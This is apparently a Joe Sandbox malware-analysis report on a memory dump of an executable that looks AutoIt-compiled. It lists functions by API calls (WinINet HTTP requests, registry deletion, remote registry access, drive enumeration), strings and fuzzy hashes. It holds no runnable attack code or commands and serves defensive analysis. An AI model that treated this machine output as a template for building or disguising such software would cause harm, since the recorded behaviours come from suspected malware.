GetDesktopWindow.USER32 ref: 00645B75
GetWindowRect.USER32(00000000), ref: 00645B7C
MoveWindow.USER32(?,?,00000080,00000000,?,00000000), ref: 00645BD3
GetClientRect.USER32(?,?), ref: 00645BE0
PostMessageW.USER32(?,00000005,00000000,?), ref: 00645C05
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00645C2F

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer_wcslen
String ID:
API String ID: 895679908-0
Opcode ID: 71ebb488dc07df63e9710b5ca967a3da3fd0ae04358a9b8c871841f5e147ae7b
Instruction ID: 2987a1bbd666da24f43ece84df31888e9d8a7211afb8de47bc7363a5633cd415
Opcode Fuzzy Hash: 71ebb488dc07df63e9710b5ca967a3da3fd0ae04358a9b8c871841f5e147ae7b
Instruction Fuzzy Hash: 6C719D31900B09AFDB24DFA8CE95AAEBBF6FF48714F10451CE547A26A1D771E940CB10

Function 0065FE0E Relevance: 27.1, APIs: 18, Instructions: 128COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F89), ref: 0065FE27
LoadCursorW.USER32(00000000,00007F8A), ref: 0065FE32
LoadCursorW.USER32(00000000,00007F00), ref: 0065FE3D
LoadCursorW.USER32(00000000,00007F03), ref: 0065FE48
LoadCursorW.USER32(00000000,00007F8B), ref: 0065FE53
LoadCursorW.USER32(00000000,00007F01), ref: 0065FE5E
LoadCursorW.USER32(00000000,00007F81), ref: 0065FE69
LoadCursorW.USER32(00000000,00007F88), ref: 0065FE74
LoadCursorW.USER32(00000000,00007F80), ref: 0065FE7F
LoadCursorW.USER32(00000000,00007F86), ref: 0065FE8A
LoadCursorW.USER32(00000000,00007F83), ref: 0065FE95
LoadCursorW.USER32(00000000,00007F85), ref: 0065FEA0
LoadCursorW.USER32(00000000,00007F82), ref: 0065FEAB
LoadCursorW.USER32(00000000,00007F84), ref: 0065FEB6
LoadCursorW.USER32(00000000,00007F04), ref: 0065FEC1
LoadCursorW.USER32(00000000,00007F02), ref: 0065FECC
GetCursorInfo.USER32(?), ref: 0065FEDC
GetLastError.KERNEL32 ref: 0065FF1E

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Cursor$Load$ErrorInfoLast
String ID:
API String ID: 3215588206-0
Opcode ID: a189cf4f3cad4fb0bbe0af22acd6217878eaeffb66285413a308ede3fb8d41f4
Instruction ID: 0c48c29073d4ea50130b627956b662b362926d364e104c89879fcfb3b3f44d95
Opcode Fuzzy Hash: a189cf4f3cad4fb0bbe0af22acd6217878eaeffb66285413a308ede3fb8d41f4
Instruction Fuzzy Hash: 124172B0D04319AADB109FBA8C8985EBFE9FF04354B50452AF51DE7281DB78E901CF91

Function 006430F7 Relevance: 26.6, APIs: 8, Strings: 7, Instructions: 400COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0064318D
_wcslen.LIBCMT ref: 006431F8

Strings

INSTANCE, xrefs: 00643453
CLASS, xrefs: 00643188, 006431A5
CLASSNN, xrefs: 006431F3, 00643204
[j, xrefs: 0064339A
NAME, xrefs: 00643335, 00643346
REGEXPCLASS, xrefs: 00643255, 00643266
TEXT, xrefs: 0064347C

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: _wcslen
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT$[j
API String ID: 176396367-1297735480
Opcode ID: 77fe1c03dbd8f614afabc35caf82e5d3b24d5269d6228aabbba5de6fc5fb8efb
Instruction ID: 9ffacfdd0391f367b9f6a54b2f47322a80fd6ad816be4240a1adbbfe735a2dbc
Opcode Fuzzy Hash: 77fe1c03dbd8f614afabc35caf82e5d3b24d5269d6228aabbba5de6fc5fb8efb
Instruction Fuzzy Hash: 54E1D532A00536ABCB18DF78C4516EEBBB3BF54710F548129E456E7380DB70AF858BA0

Function 006000C6 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 81COMMON

Download Yara Rule

APIs

__scrt_initialize_thread_safe_statics_platform_specific.LIBCMT ref: 006000C6

Part of subcall function 006000ED: InitializeCriticalSectionAndSpinCount.KERNEL32(006B070C,00000FA0,E17B9891,?,?,?,?,006223B3,000000FF), ref: 0060011C
Part of subcall function 006000ED: GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,?,?,006223B3,000000FF), ref: 00600127
Part of subcall function 006000ED: GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,006223B3,000000FF), ref: 00600138
Part of subcall function 006000ED: GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 0060014E
Part of subcall function 006000ED: GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 0060015C
Part of subcall function 006000ED: GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 0060016A
Part of subcall function 006000ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 00600195
Part of subcall function 006000ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 006001A0

___scrt_fastfail.LIBCMT ref: 006000E7

Part of subcall function 006000A3: __onexit.LIBCMT ref: 006000A9

Strings

WakeAllConditionVariable, xrefs: 00600162
SleepConditionVariableCS, xrefs: 00600154
InitializeConditionVariable, xrefs: 00600148
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00600122
kernel32.dll, xrefs: 00600133

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: AddressProc$HandleModule__crt_fast_encode_pointer$CountCriticalInitializeSectionSpin___scrt_fastfail__onexit__scrt_initialize_thread_safe_statics_platform_specific
String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 66158676-1714406822
Opcode ID: ea27d716ac6567f02f741a5f6fd28fc15589a87952d8e855ad7586e2e2a4a4c0
Instruction ID: 0174132241de78e587f7c61128da65e441a809f08d260855e2cbb73b7849b478
Opcode Fuzzy Hash: ea27d716ac6567f02f741a5f6fd28fc15589a87952d8e855ad7586e2e2a4a4c0
Instruction Fuzzy Hash: 93214632A84701ABF7285BB4AC09F6B779BEF45B60F11013EF909A23D1DF7098408A90

Function 006544C0 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 309COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(00000000,00000000,0067CC08), ref: 00654527
_wcslen.LIBCMT ref: 0065453B
_wcslen.LIBCMT ref: 00654599
_wcslen.LIBCMT ref: 006545F4
_wcslen.LIBCMT ref: 0065463F
_wcslen.LIBCMT ref: 006546A7

Part of subcall function 005FF9F2: _wcslen.LIBCMT ref: 005FF9FD

GetDriveTypeW.KERNEL32(?,006A6BF0,00000061), ref: 00654743

Strings

ramdisk, xrefs: 006546F1
removable, xrefs: 006545EA, 006545EF
fixed, xrefs: 00654635, 0065463A
network, xrefs: 0065469D, 006546A2
all, xrefs: 00654531, 00654536
cdrom, xrefs: 0065458F, 00654594
unknown, xrefs: 00654708

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: _wcslen$BuffCharDriveLowerType
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2055661098-1000479233
Opcode ID: 33d520e83d7f75bf2a18762a6149fd9c6cbcdaee3312992bb8e21826cc9a6f40
Instruction ID: 9c3d5afa9737cf1e2d8c0c2fe4f82dd388eab0851dff333f7325d6d47b209657
Opcode Fuzzy Hash: 33d520e83d7f75bf2a18762a6149fd9c6cbcdaee3312992bb8e21826cc9a6f40
Instruction Fuzzy Hash: 5BB105315083029FC714DF28C890AAAB7E6BFA5769F50495DF896C7391EB30DC89CB52

Function 0067911E Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 005F9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 005F9BB2

DragQueryPoint.SHELL32(?,?), ref: 00679147

Part of subcall function 00677674: ClientToScreen.USER32(?,?), ref: 0067769A
Part of subcall function 00677674: GetWindowRect.USER32(?,?), ref: 00677710
Part of subcall function 00677674: PtInRect.USER32(?,?,00678B89), ref: 00677720

SendMessageW.USER32(?,000000B0,?,?), ref: 006791B0
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 006791BB
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 006791DE
SendMessageW.USER32(?,000000C2,00000001,?), ref: 00679225
SendMessageW.USER32(?,000000B0,?,?), ref: 0067923E
SendMessageW.USER32(?,000000B1,?,?), ref: 00679255
SendMessageW.USER32(?,000000B1,?,?), ref: 00679277
DragFinish.SHELL32(?), ref: 0067927E
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00679371

Strings

@GUI_DROPID, xrefs: 0067929E
@GUI_DRAGID, xrefs: 006792E9
@GUI_DRAGFILE, xrefs: 00679320
p#k, xrefs: 006792BB

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID$p#k
API String ID: 221274066-2854851725
Opcode ID: 3e73f91e635fbd67d2b5da2be954c470e61fa440fc78365d3276772edfb720cc
Instruction ID: 9e6034934ce757030edd9aae56db70867411f4ddc2b5c78e8bdce6f7ff98a1e3
Opcode Fuzzy Hash: 3e73f91e635fbd67d2b5da2be954c470e61fa440fc78365d3276772edfb720cc
Instruction Fuzzy Hash: D9616971108341AFC705EF65CC89DAFBBEAFBC9350F40492DF599921A1DB309A49CB62

Function 00663FE9 Relevance: 23.2, APIs: 11, Strings: 2, Instructions: 478libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,0067CC08), ref: 006640BB
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 006640CD
GetModuleFileNameW.KERNEL32(?,?,00000104,?,?,?,0067CC08), ref: 006640F2
FreeLibrary.KERNEL32(00000000,?,0067CC08), ref: 0066413E
StringFromGUID2.OLE32(?,?,00000028,?,0067CC08), ref: 006641A8
SysFreeString.OLEAUT32(00000009), ref: 00664262
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 006642C8
SysFreeString.OLEAUT32(?), ref: 006642F2

Strings

GetModuleHandleExW, xrefs: 006640C7
kernel32.dll, xrefs: 006640B6

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: FreeString$Library$AddressFileFromLoadModuleNamePathProcQueryType
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 354098117-199464113
Opcode ID: 3517947a0618c6c241eaec0042757e31e9bf78694ee61aab3d412f8adcff4183
Instruction ID: 6f45a9ff40c3789a90b9ab4cda2dbdc5662bfd1b83e5ec418bc7f4ce96aad225
Opcode Fuzzy Hash: 3517947a0618c6c241eaec0042757e31e9bf78694ee61aab3d412f8adcff4183
Instruction Fuzzy Hash: DB123075A00115EFDB14DF54C884EAEBBB6FF85714F248098F909AB251DB31ED46CBA0

Function 005E326F Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 214windowCOMMON

Download Yara Rule

APIs

GetMenuItemCount.USER32(006B1990), ref: 00622F8D
GetMenuItemCount.USER32(006B1990), ref: 0062303D
GetCursorPos.USER32(?), ref: 00623081
SetForegroundWindow.USER32(00000000), ref: 0062308A
TrackPopupMenuEx.USER32(006B1990,00000000,?,00000000,00000000,00000000), ref: 0062309D
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 006230A9

Strings

0, xrefs: 005E327D

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Menu$CountItem$CursorForegroundMessagePopupPostTrackWindow
String ID: 0
API String ID: 36266755-4108050209
Opcode ID: c80be7363ee067422da3715d243e1f3db756fa9780efd4b88df7c4585904e725
Instruction ID: 38dc6478e4f7253fa82a87f5d26881805266a9875ffd686d2bcd24862ea92b56
Opcode Fuzzy Hash: c80be7363ee067422da3715d243e1f3db756fa9780efd4b88df7c4585904e725
Instruction Fuzzy Hash: DE713A70640626BEFB258F25DD99FDABF76FF01324F204206F6546A2E0C7B1A950DB50

Function 00676CD9 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 194windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,?), ref: 00676DEB

Part of subcall function 005E6B57: _wcslen.LIBCMT ref: 005E6B6A

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 00676E5F
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 00676E81
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00676E94
DestroyWindow.USER32(?), ref: 00676EB5
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,005E0000,00000000), ref: 00676EE4
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00676EFD
GetDesktopWindow.USER32 ref: 00676F16
GetWindowRect.USER32(00000000), ref: 00676F1D
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 00676F35
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 00676F4D

Part of subcall function 005F9944: GetWindowLongW.USER32(?,000000EB), ref: 005F9952

Strings

tooltips_class32, xrefs: 00676E58, 00676EDD
0, xrefs: 00676D98

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_wcslen
String ID: 0$tooltips_class32
API String ID: 2429346358-3619404913
Opcode ID: 245935628e409a6afbefc8d2c36b40eaac83b19c035ded2987866fa76cfd7e61
Instruction ID: 7c55b6a44b0c7c84a8650f82198ddf9931cd84af53b23d9e3d553f9ac1ef931b
Opcode Fuzzy Hash: 245935628e409a6afbefc8d2c36b40eaac83b19c035ded2987866fa76cfd7e61
Instruction Fuzzy Hash: E9718A70104640AFDB25EF18DC58FAABBFAFB89304F54851DF98987261C774A989CB11

Function 0065C476 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 143networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0065C4B0
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 0065C4C3
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 0065C4D7
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 0065C4F0
InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 0065C533
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 0065C549
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0065C554
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 0065C584
GetLastError.KERNEL32(?,00000003,?,?,?,?,?,?), ref: 0065C5DC
SetEvent.KERNEL32(?,?,00000003,?,?,?,?,?,?), ref: 0065C5F0
InternetCloseHandle.WININET(00000000), ref: 0065C5FB

Strings

, xrefs: 0065C575

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Internet$Http$ErrorEventLastOptionQueryRequest$CloseConnectHandleInfoOpenSend
String ID:
API String ID: 3800310941-3916222277
Opcode ID: 629534d1b95b11813635667c9b5ec28317365c519b3f8377e9db8480df38013a
Instruction ID: 9817310e9c2aee565d80775e57feeb4cc45dce7bcc9cf4440c24f314aa1f4192
Opcode Fuzzy Hash: 629534d1b95b11813635667c9b5ec28317365c519b3f8377e9db8480df38013a
Instruction Fuzzy Hash: EE5150B1500304BFDB258FA4C988AAB7BFEFF04765F10441DF94596250EB34EA58DB60

Function 0067856F Relevance: 22.6, APIs: 15, Instructions: 131filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?,?,?,00000000,?,000000EC), ref: 00678592
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 006785A2
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 006785AD
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 006785BA
GlobalLock.KERNEL32(00000000), ref: 006785C8
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 006785D7
GlobalUnlock.KERNEL32(00000000), ref: 006785E0
CloseHandle.KERNEL32(00000000,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 006785E7
CreateStreamOnHGlobal.OLE32(00000000,00000001,000000F0,?,?,?,?,00000000,?,000000EC,?,000000F0), ref: 006785F8
OleLoadPicture.OLEAUT32(000000F0,00000000,00000000,0067FC38,?), ref: 00678611
GlobalFree.KERNEL32(00000000), ref: 00678621
GetObjectW.GDI32(?,00000018,?), ref: 00678641
CopyImage.USER32(?,00000000,00000000,?,00002000), ref: 00678671
DeleteObject.GDI32(?), ref: 00678699
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 006786AF

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: fb559fc752cb96ba68bf5e72018152538798ccf66166e71475f83ded9192ad15
Instruction ID: b47e6bb1103af6dbc22238700f03d3e693db4853ae6603c3b469b281227f0958
Opcode Fuzzy Hash: fb559fc752cb96ba68bf5e72018152538798ccf66166e71475f83ded9192ad15
Instruction Fuzzy Hash: 3B413C75640204BFDB159FA5CC4CEAA7BBAFF89721F108158F919E7261DB309D41CB60

Function 006514BD Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 360timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 00651502
VariantCopy.OLEAUT32(?,?), ref: 0065150B
VariantClear.OLEAUT32(?), ref: 00651517
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 006515FB
VarR8FromDec.OLEAUT32(?,?), ref: 00651657
VariantInit.OLEAUT32(?), ref: 00651708
SysFreeString.OLEAUT32(?), ref: 0065178C
VariantClear.OLEAUT32(?), ref: 006517D8
VariantClear.OLEAUT32(?), ref: 006517E7
VariantInit.OLEAUT32(00000000), ref: 00651823

Strings

Default, xrefs: 006516AF
%4d%02d%02d%02d%02d%02d, xrefs: 00651625

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 1234038744-3931177956
Opcode ID: 364d095b8adaf888703a93cb4285994fa856a2032f78bc157ce9f5999d1409a2
Instruction ID: 3a9e148cc9cb6f909933e03b74c2e4b629985bf3608fd7e0265a65c6bd31c099
Opcode Fuzzy Hash: 364d095b8adaf888703a93cb4285994fa856a2032f78bc157ce9f5999d1409a2
Instruction Fuzzy Hash: 4CD128B1600105DBDB14AF65D849BBDBBB6BF86701F108059FC46AF280EB34DD4ADB51

Function 0066B60E Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 285registrylibraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 005E9CB3: _wcslen.LIBCMT ref: 005E9CBD

Part of subcall function 0066C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0066B6AE,?,?), ref: 0066C9B5
Part of subcall function 0066C998: _wcslen.LIBCMT ref: 0066C9F1
Part of subcall function 0066C998: _wcslen.LIBCMT ref: 0066CA68
Part of subcall function 0066C998: _wcslen.LIBCMT ref: 0066CA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0066B6F4
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0066B772
RegDeleteValueW.ADVAPI32(?,?), ref: 0066B80A
RegCloseKey.ADVAPI32(?), ref: 0066B87E
RegCloseKey.ADVAPI32(?), ref: 0066B89C
LoadLibraryA.KERNEL32(advapi32.dll), ref: 0066B8F2
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 0066B904
RegDeleteKeyW.ADVAPI32(?,?), ref: 0066B922
FreeLibrary.KERNEL32(00000000), ref: 0066B983
RegCloseKey.ADVAPI32(00000000), ref: 0066B994

Strings

RegDeleteKeyExW, xrefs: 0066B8FE
advapi32.dll, xrefs: 0066B8ED

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

